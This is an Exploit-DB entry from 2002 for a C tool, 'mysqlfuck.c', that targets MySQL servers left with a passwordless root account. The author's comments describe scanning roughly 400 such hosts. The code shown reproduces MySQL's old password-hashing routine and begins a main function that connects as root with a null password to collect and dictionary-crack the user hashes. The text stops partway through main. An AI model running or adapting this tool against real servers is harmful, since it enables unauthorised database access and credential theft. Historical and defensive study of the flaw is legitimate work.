Exploit-DB #21725
Description: MySQL 3.20.32/3.22.x/3.23.x - Null Root Password Weak Default Configuration (1)
Type: remote
Platform: linux
Date: 2002-08-19
Author: g0thm0g

Exploit:
/*
source: https://www.securityfocus.com/bid/5503/info

MySQL is is an open source relational database project, and is available for a number of operating systems, including Microsoft Windows.

A weak default configuration problem has been reported in the Windows binary release of MySQL. Reportedly, the root user of the database is defined with no password, and granted login privileges from any host.

This issue has been reported in the Windows binary release of MySQL. Other versions may share this default configuration, this has not however been confirmed.
*/

//mysqlfuck.c
/*--||MySQLfuck||--*/
/*Written by g0thm0g*/
/*-----------------*/
/*Earlier this summer (at least where I live), I had a
conversation with a friend.
It was one of those afternoons where you get an idea,
and it kinda sticks with you.
Anyway, our conversation involved a couple questions
about INSERT's into a MySQL
database.  Eventually, I told him that I would do it
for him.  I came over, sat down
on his computer, and accidentally typed his full IP
address in.  TO my surprise, the
host still connected.  Even worse, root login wasn't
passworded.  I figured that he
had mysql bound to 127.0.0.1, and that no real remote
host could connect.  However,
later that night after I had gone home, I got a phone
call from the friend asking me
to do it again.  Already on the computer (go figure
d:), I pulled up bash and
typed in his IP.  Right as I was about to ask him what
his password was, I noticed
that MySQL hadn't even bothered to authenticate me.  I
"used mysql" and then SELECT'ed
user,password,host FROM user.  To my horror, I recieved:
		 		 		 		 		 		 +------+----------+-----------+
		 		 		 		 		 		 | user | password | host      |
		 		 		 		 		 		 +------+----------+-----------+
		 		 		 		 		 		 | root |          | localhost |
		 		 		 		 		 		 | root |          | %         |
		 		 		 		 		 		 |      |          | localhost |
		 		 		 		 		 		 |      |          | %         |
		 		 		 		 		 		 +------+----------+-----------+
		 Not only was name-less login allowed, but root was
without password on localhost
and remote.  Anyway, to make a long story short, I did
some research, and found that
default Windows MySQL configuration lacks logging or
authentication.  I did some
network scanning, and I think I have around 400 hosts
with no root password.  Anyway,
to automate checking this, I wrote this program up.  It
tries to login as root/NULL,
then takes the values of the user password hashes and
tries to find a match to a
dictionary file called dictionary.txt.

I wrote up an advisory, which you'll probably see on
SecFoc soon.

If I had some cookies, I'd give them to:
		 -Tiefer and his relentless questioning and jokes about
my sister
		 -Club 21, especially for Hard Attack
		 -DJ Doboy, can't forget trancequility volume 19

(INSERT STANDARD "NOT-TO-BE-USED-FOR-ILLEGAL-USE"
CLAUSE HERE)
(INSERT STANDARD "I-HOLD-NO-LIABILITY" CLAUSE HERE)

Compile:
		 -MSVC= cl mysqlfuck.c libmySQL.lib /DWIN32 -O2
		 -GCC=  gcc -omysqlfuck mysqlfuck.c -lmySQL -O2

		 -Cheers
		 		 g0th
*/


#include <stdio.h>
#ifdef WIN32
#include <windows.h>
#endif
#include <mysql.h>

/*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*?
/*Crazy MySQL programmers and their short typedefs*/
/*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/

#ifndef ulong
#define ulong unsigned long
#endif

#ifndef uint
#define uint unsigned int
#endif

#ifndef uchar
#define uchar unsigned char
#endif

/*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*?
/*##--####--####--####--####--####--####--####--##*/
/*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/

/*--------------------------------------------------------------*/
/*<<<<This section is ripped straight from the MySQL
source.>>>>*/
/*I have this all nice and optimized in assembly on my
end, but*/
/*writing cross-compiler inline is not too fun, and
requring an*/
/*assembler is kinda frustrating.*/
/*--------------------------------------------------------------*/
void hash_password(ulong *result, const char *password)
{
  register ulong nr=[PII_REDACTED]L, add=7, nr2=0x12345671L;
  ulong tmp;
  for (; *password ; password++)
  {
    if (*password == ' ' || *password == '\t')
      continue;		 		 		 /* skipp space in password */

    tmp= (ulong) (uchar) *password;
    nr^= (((nr & 63)+add)*tmp)+ (nr << 8);
    nr2+=(nr2 << 8) ^ nr;
    add+=tmp;
  }

  result[0]=nr &[PII_REDACTED]; /* Don't use sign bit
(str2int) */;
  result[1]=nr2 &[PII_REDACTED];
  return;
}

void make_scrambled_password(char *to,const char *password)
{
  ulong hash_res[2];
  hash_password(hash_res,password);
  sprintf(to,"%08lx%08lx",hash_res[0],hash_res[1]);
}
/*--------------------------------------------------------------*/
/*<<<<######################################################>>>>*/
/*--------------------------------------------------------------*/


/*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*/


/*--------------------------------*/
/*<<<user struct to store data>>>>*/
/*--------------------------------*/
typedef struct
{
		 char *user;
		 char *password;
} user;

#define		 MAX_USERS		 16
/*--------------------------------*/
/*<<<<########################>>>>*/
/*--------------------------------*/



//main - for "coherency's" (yes, i mean laziness) sake,
i've kept this a single function
int
		 main
		 (
		 		 int argc,
		 		 char** argv
		 )
		 {

		 		 MYSQL * mysqlData;		 		 		 //--|-
		 		 MYSQL_RES * mysqlResult;		 //--|-MySQL Datatypes
		 		 MYSQL_ROW mysqlRow;		 		 		 //--|-

		 		 char *spHost;		 		 		 		 //--|
		 		 char *spUser="root";		 		 		 //--|
		 		 char *spPassword=NULL;		 		 //--|-Our connection data
		 		 int spPort=3306;		 		 		 //--|
		 		 char *spServerVersion;		 		 //--|

		 		 int usernum=0;		 		 		 		 //--|
		 		 user *users[MAX_USERS];		 		 //--|